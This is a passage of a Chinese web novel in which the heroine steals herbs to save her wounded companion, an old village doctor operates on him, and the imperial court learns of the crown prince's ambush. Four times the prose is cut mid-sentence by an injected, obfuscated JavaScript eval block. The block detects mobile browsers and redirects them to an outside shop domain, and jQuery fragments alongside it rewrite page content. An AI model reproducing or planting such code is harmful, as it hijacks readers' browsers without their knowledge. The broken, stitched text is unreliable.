她借着夜色,紧张地辨认着竹盘上的药材,仔细回忆太医教过她的药方。她惊喜地发现,自己需要的药材这里居然都有。 要拿药材时,宁玉瑶发现自己没有可以装东西的口袋,她脱下自己身上的外裳,小心翼翼地将自己需要的药材放到衣服上。正当她要拿宁木根时,屋内突然传来一声咳嗽声。 那声音在寂静的夜里犹如一道惊雷在她耳边炸响,她吓得连忙矮下身,僵在原地,大气都不敢出,害怕屋内的人发现自己。 时间仿佛凝固了一般,每一息都显得格外漫长。良久,确定屋内的人没发现自己,她才敢继续动作。 药材全部装好,宁玉瑶轻轻地舒了一口气。就在她准备离开时,目光不经意间扫过院子的角落。 那里有一个小火炉,火炉很小,大概不到她的小腿高,火炉中还有将息未息的火苗,微微跳动着。 火炉旁的地上有一个小小的药壶,散发着淡淡的药香。 宁玉瑶犹豫了片刻,她不确定这个火炉和药壶对这户人家来说是否重要,但为了救秦熠,她别无选择。 她决定拿走火炉和药壶。 她摘下头上珏儿的金发冠,将金发冠放在原本火炉所在的位置,然后对着屋内福了福身,拿着东西赶紧离开了小院。 匆忙赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327687|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回树林,宁玉瑶的心跳得极快。她赶紧跑到秦熠身边,掀开遮挡他的树叶,秦熠依旧侧躺在那里。 她仔细检查秦熠的身体,所幸正值冬日,林间鲜少蛇虫出没。确认秦熠没有什么不妥后,她这才松了口气。 然后拿过药材准备给秦熠熬药,却见火炉中原本就奄奄一息的火苗此时仅余一点火星。她迅速从地上捡起树枝,一股脑塞进火炉,希望能让火势重新旺起来。 可事与愿违,不一会儿,火炉中冒出大量浓烟,那点小火星在浓烟笼罩下几近熄灭。 “怎么会这样……”宁玉瑶赶紧将树枝从火炉中取出来,看着火炉中那一点小火星,她焦急地回想在外风餐露宿的这段时间,侍卫们是怎么生火的。 他们生火前好像先在附近找了干草。 宁玉瑶连忙在地上搜寻起来,幸好这个季节干草随处可见,不一会儿,她就找到了不少干草。 回到火炉旁,宁玉瑶这次不敢再冒进,她谨慎地拿出一小点干草,试探地往火炉里面放了进去。看着干草渐渐燃烧起来,她这才放心地将干草全部放进去。小火炉中的火焰渐渐变大,她终于放下心来。 但干草很快就会被烧尽,她猜测可能是因为之前的树枝不够干,要像干草那般毫无水气才能生火,便又开始寻找枯枝。 宁玉瑶强打精神,在昏暗的树林中摸索着。 等到火苗安静地舔舐着枯枝,宁玉瑶来不及休息,又拿着药壶去河边取了水回来,准备给秦熠熬药。 树林中月光被茂密的枝叶遮挡,几乎照射不下来,只有火炉中火光在跳动着。 她借着这微弱的火光,一点一点辨别着外裳中的药材。当发现少了一味宁木根时,她锤了下自己的头,满心懊悔,但眼下天快要亮了,实在来不及再去拿这味药了,她只得绞尽脑汁,回忆着自己看过的医经,换一个方子。 等她学着以前侍女们熬药的样子磕磕绊绊地将药熬好,她已经疲惫不堪。 宁玉瑶本就早产体弱,这么多年精心调养也没比正常人健康多少。今日这么一折腾,都是因为担心秦熠才一直强撑着没有倒下。 给秦熠喂完药,她紧绷的神经终于放松下来,再也坚持不住。她躺在秦熠身旁,紧紧地抱着他的胳膊,蜷缩在他怀中,沉沉睡去。 * 当天空出现第一抹光亮时,村里的鸡鸣声此起彼伏地响起,打破了清晨的宁静。 一位须发皆白的老人拄着拐杖慢悠悠地走出屋子,清晨的微风轻轻拂过他的白发。 老人姓江,名思明,是这个村子里唯一的大夫。 江思明低头捡起地上的金发冠,那金冠在晨曦的映照下闪烁着微弱的光芒。 他布满皱纹的手指仔细摩挲着金冠上的花纹,眼神中流露出复杂的神色。许久,他喃喃道:“大宸人……” 江思明微微眯起眼睛,嘴角浮现出一抹意味深长的笑容,没想到这么多年了还能见到大宸人。 不过这来自大宸的小毛贼家境倒是优渥,只是可惜医术不精,什么药都敢乱用,希望被他开药的人别给治死了。 就是又得找人打个新炉子了。 江思明收起金发冠慢慢朝着村里走去,拐杖敲打在地面上发出沉闷的声响,在寂静的清晨格外清晰。 62.得救 阳光透过树叶间的缝隙,轻柔地洒在宁玉瑶脸上。 她微微动了动睫毛,费力睁开自己酸涩无比的眼睛。她的脑袋昏昏沉沉,仿佛有千斤重石压着一般。轻轻晃了晃头,只觉得一阵胀痛,让她忍不住皱起了眉头。 宁玉瑶挣扎着想要爬起来,然而四肢酸软无力,身体完全使不上劲。她的喉咙干痒疼痛,每一次吞咽口水都好似刀片划过,她知道自己受了风寒开始发热了。 可她不敢放任自己继续躺着,强撑着坐起身,摸了摸身边的秦熠,还好,他的呼吸较昨天明显平稳了许多,这让她的心稍稍安定下来。 小火炉中的火苗微弱,又只剩下零星的火星。有了昨日的经验,宁玉瑶不再像之前那般慌乱无措。她寻来干草和细树枝,如法炮制将火重新点燃。 火苗跳动起来,宁玉瑶先给自己熬了碗药,苦涩的药味在空气中散开。 也不知昨日晒药材的人家是如何想的小巧思,药壶无盖,直接以一个小碗扣于其上充当壶盖。 这可为宁玉瑶省了不少事。 喝了药,她又开始为秦熠熬药。 宁玉瑶双手环膝坐在地上,看着药壶中翻滚的药液,各种思绪如乱麻般缠绕。 她担心很多事,担心熠哥哥能不能撑过去,还担心珏儿现在是否安全。纷乱的思绪使得她本就疼痛的头愈发难忍。 不敢继续胡思乱想,给昏迷中的秦熠喂完药后,她站起身来,强忍着身体的不适,一步一摇地在树林中搜寻食物。 她仔细地观察着周围的一切,可满眼都是陌生的植物,完全认不出满地都是些什么东西。 她不敢盲目地将东西塞进嘴里,在这荒无人烟的地方,一旦误食了有毒的东西,后果将不堪设想。 不过她运气不错,她看到树上有几个鸟窝,在树下隐约能看见窝里有鸟蛋。 好在宁玉瑶不是普通的贵女,从小就被秦熠带着爬树,这么多年也没荒废,即便此时身体不适,她依旧顺利地爬上树拿到了鸟蛋。 可是当她准备下来的时候,却发现自己已经没有了力气。爬到一半时,便头晕目眩,脱力摔了下来。 她顾不上疼,赶紧掏出衣襟中的鸟蛋,心中一阵庆幸,还好只碎了一个。她把碎掉的黏糊糊的蛋壳丢弃,揣着剩下的鸟蛋,一瘸一拐地往回走。 等回到秦熠身边,十指不沾阳春水的宁玉瑶又开始发愁怎么把这些鸟蛋弄熟。 她尝试着用火烤,可又担心烤不熟或者烤焦了。最后用药壶烧一壶水,将鸟蛋敲碎扔到壶里,像熬药一般一壶煮了。 煮好的鸟蛋倒在碗里,黄黄白白的一碗浓稠物,看着就倒胃口。宁玉瑶尝了一口,味道寡淡且带有一丝腥味。她差点吐出来,但一想到他们没有别的食物,只能咬牙咽了下去。 她伸手戳了戳秦熠的脸,前些日子,熠哥哥费尽心思为她找了鸟蛋,哄她吃。那时候的她还嫌没胃口,百般挑剔。 而现在,这却是他们唯一的食物,她叹了口气,小心地将剩下的蛋液全都给秦熠强灌进去。 今天这一天,她便只找到这几个鸟蛋。 不过好在白天的时候,秦熠的状况有了明显的好转,他的身上不再如先前那般滚烫,呼吸也渐渐平稳起来。 然而,没等她松一口气,到了晚上,秦熠的病情再度急转直下。他的身体又开始发热起来,而且这次居然比之前更加凶险。 她试图给秦熠喂药,可秦熠却牙关紧闭,连药都喂不进了。 宁玉瑶急得在旁边直掉眼泪,但她不能放弃,如果现在放弃,秦熠就真的没有希望了。 她决定晚上再去那个村子偷一些药材。 宁玉瑶在树林中焦急地等待着,等到那座小村庄的烛火全部熄灭,再也听不到半点声响,她才从树林中走出来。 她放轻脚步,悄然走进放着药材的院子,正按着方子拿药材的时候,屋内传出一个苍老的声音:“燕雾草和宁木根一起用,你是想救人还是杀人?” 伴随着这道声音,一个须发全白拄着拐杖的老者,出现在门口。 宁玉瑶惊慌之下,手中的药材洒落一地,她慌乱地抓了一把药材,转身就要逃跑。 “站住!”老者手中的拐杖猛地敲击在地上,发出沉闷的声响。 宁玉瑶被这声调不高,却极为严厉的声音惊得定在原地。 “谁教你这么用药的?只学了个皮毛就敢出来救人?若治死了人可如何是好?”江思明拄着拐杖慢慢走到宁玉瑶面前,他举起拐杖,要如以往敲打那些不用心学习的小学徒一般朝她挥去。 然而,当他看到面前这个衣衫褴褛,明显是个女娃子的孩子时,尤其是看到她那大眼睛里盛满泪水,满脸惶恐不安的模样,终究还是心软了。他放下拐杖,再次重重地敲了敲地面。 “不许哭!从你第一次来这儿老夫便知道了。上次你拿宁木根的时候,老夫就提醒过你。宁木根与燕雾草合用是活血的方子,老夫瞧你拿的药是用于止血退热的,若不是你这次又要拿宁木根,老夫也懒得出来管你。” 宁玉瑶强忍着把眼泪憋了回去,可一想到差点害死熠哥哥,心中便又怕又愧疚。 她沙哑着嗓子向老者道歉:“对不住,老人家,我实在是没有办法了才来偷您的药材。” 宁玉瑶说着,将自己脖子上的小金鼠取下来,递到老者面前,“这个给您,就当是买药材的钱。” 江思明瞥了一眼宁玉瑶手中的金鼠,嫌弃地说道:“这么丑的玩意儿,老夫可不稀罕。” 宁玉瑶讷讷地收起金鼠,手足无措地站在那里,不知该如何是好。 江思明仔细打量着面前的小姑娘。只见她虽然穿着男装,衣裳破损,然而她的脊背却挺得笔直,眼神清澈纯净,一看就是好人家娇养出来的掌上明珠。 也不知这小姑娘为何会陷入如此境地。不过,作为一名医者,除了看病救人,对别的东西好奇心都不重。 他看着女娃娃苍白的脸,微微皱起眉头,问道:“你知道你自己也病了吗?” 宁玉瑶轻轻地点了点头,小声说:“知道,我也给自己开了药,但是没什么用。” 江思明轻哼一声,“当然没用,就你那半吊子水平,能开出什么有用的药方来?” 宁玉瑶被他说得苍白的脸上都浮上一抹红晕。她咬着嘴唇,心中羞愧。 江思明转身进屋,片刻后拎着个小竹匣出来。 他将竹匣递给宁玉瑶,宁玉瑶呆愣愣地接过竹匣,满脸疑惑,不知道老人是什么意思。 江思明越过宁玉瑶,见她还呆在原地,又敲了敲拐杖,“还不带路?” 宁玉瑶不解地问道:“您要去哪?” 江思明径直向外走去,嘴里说着:“若是还想要你救的人活着,就赶紧带老夫过去。” 宁玉瑶一听这话,顿时反应过来,她连忙抱紧竹匣,快步上前带路。路上她一边走,一边仔细地跟老人说了秦熠的状况。 不多时,他们来到了藏匿秦熠的地方。 江思明的目光落在地上男人精壮的身体上,再瞧他手上那厚厚的茧,心中对男人的身份隐隐有了些猜测。 不过江思明并未多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338137|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,只是蹲在秦熠身旁,仔细为他把脉。 片刻之后,江思明不禁感慨道:“这小子也算是命大,得亏身体健壮,否则早就死了无数回了。” 宁玉瑶低垂着头,轻轻抿着唇,不敢多言一句。她深知自己医术不精,若不是有幸遇到这位老人,她着实不知该如何是好。 “来,搭把手。”江思明吩咐宁玉瑶将秦熠翻过身,让他趴在树叶之上。接着,他从小竹匣中取出剪刀,小心翼翼地剪开秦熠的衣服。 随后,江思明又拿出几根蜡烛,点燃后放在他们周围。紧接着,他便开始用银针封住秦熠的血管。 江思明抬起头看向宁玉瑶,招呼道:“好好看着学,别再用你那三脚猫的医术去害人了。” 宁玉瑶见江思明直接就要动刀,本欲开口,却又止住。 江思明不用抬头都知道她想说什么,手上动作不停,一边用刀划开秦熠背上的皮肤,一边说道:“别想着浪费老夫的麻沸散,就他现在这状况,老夫就算直接将他捅穿,他也不会有任何感觉。” 宁玉瑶仔细观察秦熠,见他确实没有半点反应,这才放下心来,目不转睛地盯着江思明手中的动作。 江思明一点一点将秦熠后背的箭头挖出来,他一边忙碌着,一边指使宁玉瑶:“把匣子里那瓶画了白色标记的药拿出来,倒一些在伤口上。” 宁玉瑶连忙应下,迅速从匣子中找出有白色标记的小竹筒,手却因为紧张而微微颤抖。打开竹筒后,她倒了些药粉在秦熠轻微渗血的伤口上,然而由于她是第一次做这样的事,太过慌乱,手一抖倒多了些。 江思明看着她生疏的模样,无奈地叹了口气,说:“你小心些,这个药很难配,他还有这么多伤口,万一药不够用了怎么办。” 宁玉瑶被他这么一说,心中一紧,死死地握住手中的竹筒。第二次倒药粉时,她努力控制住自己,小心翼翼地将药粉均匀地洒在伤口上。 江思明点点头,这丫头虽然娇气,但好在脑袋还算灵光。 他每挖一个箭头就让宁玉瑶上一次药,宁玉瑶边上药边听老人讲解药理。虽然有些词语很晦涩,她听得不是很懂,但她努力记住老人说的每一个字。 “好了。”终于挖出了最后一个箭头,江思明长舒一口气,擦了擦额上的汗水。“小伙子身体好,再喝几剂药就能醒了,不过还要休养一阵才能自己走动。” 宁玉瑶连连道谢:“谢谢您老先生。” 江思明摆摆手,说道:“今天先这么着吧,大家伙儿都睡了,等明天我再叫人来把他搬到村子里去。” 宁玉瑶闻言有些犹豫,她相信这个老人,但不知道村子里是什么情况。 江思明瞬间明白她的顾虑,他颤抖着想要站起身来,宁玉瑶连忙上去扶着他。 他抬手轻轻敲了敲宁玉瑶的脑袋,说道:“有警惕心自然是好事,不过你也不必过分担忧。老夫若真想害你们,又何必费这般大力气来救你们。” 宁玉瑶红着脸点头。 江思明顺手给宁玉瑶把了把脉,沉吟片刻。别看这丫头现在能跑能跳,其实病情比地上躺着的那个更危险。不过急也没用,他得先回去配药。 他看着地上的男人,多嘴问了一句:“你是在这里守着他,还是先跟我去村子里休息一晚?” 宁玉瑶自然不会离开秦熠,她拒绝道:“老先生我送您回去。” 江思明也没觉得意外,他拄着拐杖不让宁玉瑶送,说道:“好了,老夫回去休息了,你的病明天再来找我治,你也别糊弄我,否则再拖下去,神仙都救不了你。” 63.进村 “江老爷子说的就是这里吧?”一个粗犷的声音在寂静的山林中响起。 “应该是,怎么没看到人?”另一个声音回应道,声音中带着一丝疑惑。 宁玉瑶迷迷糊糊地被这两道声音吵醒,她心中一惊,意识到有人过来了。不知道来的是谁,她连忙起身,想要背着秦熠逃跑。 然而,还没等她走出几步,就听到一个焦急的声音传来:“哎哟,小娃儿,快放下,这么大个汉子,小心把你压趴下咯。” 下一瞬,宁玉瑶感觉背上一轻,她连忙回头,只见秦熠已经被一个魁梧的壮汉背在了背上。她顿时着急,想要抢回秦熠。 壮汉旁边的女人笑着说道:“莫怕莫怕,小娃儿,是江老爷子叫我们来带你回村的。” 宁玉瑶更疑惑了,江老爷子是谁?她试探地问了句:“村口院子里晒着药材的老人家姓江?” 女人拿起地上的小火炉和药壶,领着她朝着村子的方向走去。她笑眯眯地点头道:“就是江老爷子。别担心,我们村子里有很多人都与你们一样,是顺着河流飘过来的。等你们到了村子,自然就清楚了。” 宁玉瑶跟在女人身后,目光紧紧盯着前方壮汉背上的秦熠,时不时转头望向身边满脸笑容的女人。 她看上去大约三十来岁,身着浅褐色的麻布衣裳,头发简单地梳起。大概是由于常年带笑,她的眼角有着深深的纹路。女人性格极为直爽,一路上不用宁玉瑶开口询问,便主动给介绍她村子里的情况。 他们所在的村子叫小谷村,位于苍荻国。这里几乎每年他们都能在这条河边捡到人,那些人顺着河水漂流到这里。倘若运气好还有一口气在,基本上都能被江老爷子救活。 女人名叫孟青涓,是苍荻人。十八年前,她同样是顺着河水被冲到这里。那个背着秦熠,一脸憨厚的壮硕男子是她的丈夫田大益,他是这个村子土生土长的村民。 “你叫我涓婶子就行,以后就在这里安心过日子,别担心,村子里的人都非常和善。” 宁玉瑶轻声问:“就没有人想过要离开村子吗?” 孟青涓脸上的笑容未变,解释道:“当然有想过,不过出不去了。别看这片树林面积很大,但实际上我们村子和这片树林都处于悬崖之下。你瞧,河对岸也全是悬崖,无论走多远,都找不到可以攀爬上去的地方。顺着水流一直走到尽头,那里是一道瀑布,谁也不清楚瀑布下面究竟有什么。” 小谷村曾经也在山崖之上,只是四十多年前一场地陷,使得小谷村这一片区域塌陷了下来,变成了如今这般模样,进得来却出不去。 曾经有人尝试攀爬悬崖离开,可那悬崖极为陡峭,找不到着力之处,还险些丢了性命。后来,大家也就渐渐打消了离开的念头。 听到这些,宁玉瑶沉默不语。孟青涓对此见怪不怪,每一个意外流落到这里的人都会经历这样的过程。她仍旧笑着跟宁玉瑶讲述着村里有趣的事情。 当说到她和田大益有一个女儿,今年十六岁了,还未成亲,就盼着哪天在河里捡到一个好看的男人,再娶了当上门女婿。 宁玉瑶:…… 听孟青涓讲着村里的趣事,宁玉瑶渐渐放松下来。就在这时,她察觉到哪里有些不对劲。片刻之后,她猛地想起来,从一开始孟青涓说的就是大宸语。 她连忙问道:“涓姨,您不是说这里是苍荻吗?为何你们都会说大宸语呢?” 孟青涓解释道:“因为江老爷子是大宸人,他又是村里唯一的大夫。他年纪大了,不愿学苍荻语,所以只好我们来学大宸语了。” 原来如此。 宁玉瑶对这位江老爷子越发感到好奇,又问:“江老爷子多大年纪了呀?” “不清楚,江老爷子好像来这里二十多年了。我听田大益说过,当年江老爷子好像就已经七十多岁了。” 宁玉瑶吃了一惊,“这么说来江老爷子已经九十多了?” 孟青涓被她惊讶的模样逗笑了,她点头道:“看不出来吧?所有人知道这件事的时候都很惊讶。” 宁玉瑶呆愣地回想着昨晚见到的老人家,他精神矍铄,腿脚灵便,替熠哥哥施针用刀的时候手也极为稳当,一点都看不出来已经九十岁了。 说话间,他们走出了树林,此时天还未亮。 孟青涓转头看向宁玉瑶,微笑着说:“江老爷子说要先给你们治病,这几天你们先在江老爷子这里住着。等你们身体恢复了,再好好考虑以后的事情。” 宁玉瑶轻轻点了点头。 田大益背着秦熠走进晒满药材的院子。院子里弥漫着浓郁的药香,各种草药整齐地摆放在架子上。田大益大声喊道:“江爷爷,我把人背来了。” “喊那么大声做什么,老夫又没聋!”江思明没好气地从屋里走出来。他身着一袭灰色长袍,满头白发梳理得整整齐齐。 田大益嘿嘿傻笑一声:“江爷爷,人放哪?” 江思明指着自己屋子不远处一个单独的小木屋说:“那边。” 田大益走进屋将秦熠放到床上,孟青涓则把手里的火炉和药壶放在墙角,她看着宁玉瑶,和蔼地说道:“你们先安心养病,有事就去村里找我,随便找个人问就知道我家了。” 宁玉瑶连连向他们道谢。 等田大益和孟青涓走了,院子里顿时安静下来。江思明站在门口,目光落在宁玉瑶身上,问道:“那小子是你什么人?” 宁玉瑶微微一怔,迟疑片刻后小声说道:“是我夫婿。” 也不知道江老信了没,他敲了敲拐杖,对宁玉瑶说:“那你们就住一个屋里,别愣着了,赶紧睡觉,养好精神下午开始用药。” 宁玉瑶现在知道江老爷子已经九十岁高龄,她不敢惹老人家生气,赶紧应下。 她走进屋子,躺在秦熠身边。尽管身体疲惫不堪,但她毫无睡意。她的脑海中浮现出孟青涓所说的话,想到自己到了这里就再也出不去了,心中不由得难过。她想念远方的爹爹娘亲,倘若真的一辈子留在这里,他们该是何等伤心。 * 十一月的雁京,天空中纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361090|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬扬地飘洒着洁白的雪花,为雁京城披上了一层清冷的银装。 寒冷的清晨,宁渊从温暖的被窝中起身,穿戴整齐后准备进宫上朝。刚整理好衣衫,一转身,便看见妻子也已起身。 “怎么起这么早?”宁渊微微皱起眉头,脸上露出疑惑之色。 祁婧惠起身,抬手示意侍女服侍她穿衣。她一边整理着衣袖,一边解释道:“瑶儿生辰将至,最近各州进贡了一些贡品,娘娘让我去挑一些瑶儿喜爱的送她做生辰礼,其余的就收起来当嫁妆。” 宁渊一听,满脸不悦,“怎么这么早就开始筹备嫁妆了。” 祁婧惠不理会他,坐在梳妆台前,让侍女为自己梳妆。宁渊却不依不饶,继续说道:“怎么着也要等秦熠通过我的考验再说吧。” 祁婧惠实在受不了他的絮叨,打断他的话:“行了,哪家姑娘的嫁妆不是从及笄后就开始准备?我们已经拖延得够久了。要是真到定亲之后再准备,万一缺了什么,丢人事小,我们瑶儿可不能受这委屈。” 宁渊知道妻子所言有理,可一想到女儿要出嫁,心里仍旧不痛快。他闷闷不乐地与妻子一同出门,进宫的路上一直在妻子耳边絮絮叨叨。 祁婧惠被他吵得心烦意乱,一进宫就立刻将他甩到一边,快步往后宫走去。 * 雁京城西门缓缓打开,城门守卫哈出一口白雾,那雾气在冰冷的空气中瞬间消散。 他微微眯起眼睛,看着天空中越来越大的雪花,低声咒骂了一句:“这见鬼的天气。” 守卫搓了搓冻得有些僵硬的手,目光紧紧盯着城外那片被大雪覆盖的苍茫大地。此时的雁京城外一片寂静,只有雪花簌簌落下的声音。 突然,一个黑点出现在漫天大雪之中,那黑点移动速度极快,急速向这边跑来。守卫心中一惊,紧盯着那个越来越近的身影,那人却丝毫没有停下的意思。 守卫们刚准备布置绊马索,就见那人骑着马举着令牌大喊:“太子急令,速速让开!” 守卫们连忙收手放行,就见马上坐着的男人穿着太子亲卫服,浑身是血,风卷起雪花和血腥的气息,从他们面前呼啸而过。 来人正是太子随身亲卫,太子进入涑州大营后一直昏迷不醒,涑州营的军医们也束手无策。他们深知太子安危关系重大,不敢有丝毫耽搁,便让太子亲卫快马赶回雁京请太医,顺便将掖州山脉之事禀报陛下。 亲卫这一路日夜兼程,没有从马上下来过,他跑死了两匹马,伤口数次崩裂,他却只是简单包扎一下便继续赶路,仅用了五天时间就赶回了雁京。 眼看到了皇城外,亲卫不敢放肆。想要勒马停下,却已经没了力气,他虚弱至极,只能从马上滚落下来,正好滚到皇城的禁军侍卫面前。 禁军侍卫一眼就认出他是太子身边从不离身的亲卫,连忙将他扶起。他颤抖着将太子的令牌递给他们,疾声道:“快带我见陛下,太子出事了!” 雪花一团一团地从空中砸下来,禁军侍卫们背着亲卫快速向金銮殿跑去。 64.好转 金銮殿内,一如往常般喧闹嘈杂,大臣们仿佛永远有争论不完的话题,任何一件事都能让他们吵得不可开交。 宁渊静静地站在一旁,满脸不耐。 秦柏站在他身侧,时不时对他挤眉弄眼。 宁渊此刻看见姓秦的就心烦意乱,他侧过头去,不想再看秦柏那张让人憎恶的老脸。 就在这时,一名小太监匆匆忙忙地从殿外跑来。他附到苏德茂耳边,低声耳语了几句。 苏德茂脸色大变,连忙跑到龙椅旁,躬身向承武帝禀报:“陛下!太子亲卫求见。” 承武帝微微皱眉,心中陡然涌起一股不安。太子亲卫为何突然回京? 他下意识攥紧了拳头,沉声道:“快宣。” 下首有人注意到承武帝表情变化,心中也感觉到不妙。渐渐地,金銮殿内说话的声音越来越小,仿佛被一只无形的手捂住了嘴巴。 最后,整个大殿彻底安静下来,大臣们在这诡异的安静中面面相觑,谁也不知道究竟发生了什么事情。 就在众人疑惑之时,一阵沉重的脚步声由远及近传来。众人纷纷转头望去,只见禁军侍卫背着一个浑身是血的男人走进金銮殿。 秦柏和宁渊原本满心忧虑地站在一旁,当他们的目光触及到那个男人身上的衣服时,心中骤然一紧。 那衣服的款式和材质,他们再熟悉不过,那是太子亲卫的服饰。 男人趴在禁军侍卫的背上,气息微弱,他艰难地从禁军侍卫背上爬下来,想要行礼。 承武帝见状,连忙命令道:“不必多礼,快说究竟发生何事。” 男人扑倒在地,颤声道:“启禀陛下,太子回京途中于掖州山脉遇袭,太子身受重伤,现在在涑州营昏迷不醒。明安郡主为救太子,与秦都司引开刺客,下落不明。” 宁渊乍闻噩耗,只觉大脑一片空白,他的身体微微摇晃,险些站立不稳。就在这时,他感觉有人扶了他一把,他侧过头,是站在他身侧的秦柏。 秦柏亦没了方才那嬉皮笑脸的模样,一脸严肃地站在那里。 宁渊侧首,轻声向秦柏道了声谢。 秦柏见宁渊恢复常态,微微颔首,松开了扶着他的手。 宁渊抬起头,看向龙椅上的承武帝。 承武帝面色冷峻如冰,此刻,他静静地坐在龙椅上,一言不发,让人看不出喜怒。 金銮殿内寂静无声,所有人都被这个突如其来的消息震得神色剧变。大臣们满脸难以置信,谁也不敢出声。 良久,承武帝终于开口,他的声音沙哑,“传太医院院正即刻带人奔赴涑州,不得延误。” 随后,他的目光投向秦柏,“秦柏,速速动身前往掖州,剿灭反贼。” “反贼”一词,直接给那伙人定了性。一旦查实,所涉之人犯下的皆是诛九族的滔天大罪。 宁渊的心揪紧,满脑子都是女儿的安危。但他身为禁军统领,无陛下恩准不得私自出京,他只能满含祈求地看着承武帝。 承武帝自然也看到了宁渊眼中的恳求,他心中明白宁渊的担忧,况且明安郡主是为了救太子才陷入如此险境。他再次下令:“宁渊一同前往。” 宁渊闻言,顿时心生感激,立即和秦柏一同跪地,“臣等领旨。” “快去吧,把明安带回来。”承武帝的声音很轻,只有站在前面的几位重臣能够听见。 “臣等遵旨。”秦柏和宁渊不再耽搁,迅速站起身来向宫外跑去。 出宫的路上,宁渊心情沉重,他不知道女儿现在究竟情况如何,是否安然无恙。 秦柏看出了他的担忧,轻声劝慰道:“宁兄,别担心,有秦熠在,必能护明安郡主周全。” 宁渊微微点头,心中依旧忐忑。他们都知道秦熠必然愿意以命相护,可若是秦熠先行遭遇不测呢…… 但谁也不愿看到这种猜测成真,只希望两个孩子都好好的。 * 今日大雪纷飞,德清宫内却暖意融融,烛火将宫内照得灯火通明。 正殿的桌上地上摆满了奇珍异宝,在烛光的照耀下熠熠生辉,各种宝石璀璨夺目,金银器具精致华贵。 皇后拿起一个晶莹剔透的琉璃碗,递给身旁的嘉阳长公主,轻声问道:“阿姐,你看这个琉璃碗如何?” 祁婧惠接过琉璃碗,对着光仔细地看了看。琉璃碗在光芒的照射下,没有一丝杂质,祁婧惠赞叹道:“不错,如此纯净的琉璃碗,想必十分难得。” 皇后笑道:“正适合给我们瑶儿。” 两人正说着话,白珊眼眶微红,脚步匆匆地走进德清宫。 她的脸色苍白,一进来便跪在地上,声音颤抖着禀报:“启禀娘娘,长公主殿下,前朝传来消息,太子殿下掖州遇袭,如今殿下昏迷不醒,郡主下落不明。” “咔嚓——” 一声清脆的碎裂声在德清宫内响起,祁婧惠手中那价值连城的琉璃碗掉落在地上,瞬间摔得粉碎。 碎片四散开来,在烛光的映照下闪烁着点点寒光。 德清宫的宫人们惊慌失措地跪在地上,大气都不敢出,整个宫殿内一片死寂。 皇后尽管现在心急如焚,但她到底是一宫之主,这么多年大风大浪过来了,还算稳得住。 她连忙紧紧握住祁婧惠的手,“阿姐……” 祁婧惠在那一瞬间,脑中闪过很多念头,先是惊怒,心痛,到最后,她不相信自己的女儿出事了,她的瑶儿一定还好好的。 她反握住皇后的手,脸色很平静,仿佛什么事情都没有发生过。她轻笑着说:“娘娘,瑶儿淘气,肯定在掖州躲着等为娘去接她,只是可惜了这个琉璃碗。” 皇后见状心里一沉,她知道祁婧惠这是在自欺欺人,但她也明白,现在不能戳破这层假象。 她也跟着笑道:“阿姐说的是,瑶儿肯定平安无事,阿姐快去掖州接瑶儿。等她回来了,本宫让内务府再送一套新的琉璃用具来。” “那我先代瑶儿谢过娘娘了。”祁婧惠冷静地说完这句话,便起身跟皇后告辞。 祁婧惠匆匆赶回长公主府,便看见府前空地上,秦将军府和诚国公府的人马已清点完毕,随时准备出发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369863|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她立即让人将自己的马牵来。对宁渊说道:“我也一起去。” 祁婧惠必须去掖州,她无法忍受在此干等的煎熬。 宁渊没有反对,只是默默点点头,静静地等待妻子准备妥当。 与此同时,秦秀灵从秦将军府中跑了出来,大声喊道:“爹,我也去!” 秦柏看着女儿,又望向女儿身后眼中含泪的妻子,轻声说道:“闺女,你留在家里,帮爹照顾好祖母和母亲。” 秦秀灵想起刚才差点晕倒,此刻还躺在床上的祖母,心中明白此时若一个小辈都不在身边,祖母和母亲必定会更加难过。 她抿唇转身扶住母亲,点头应下。 很快,祁婧惠从长公主府走了出来。她拆下那些华而不实的首饰,换上轻便的衣裳,利落地翻身上马,对秦柏说道:“秦将军,久等了,我们现在出发吧。” 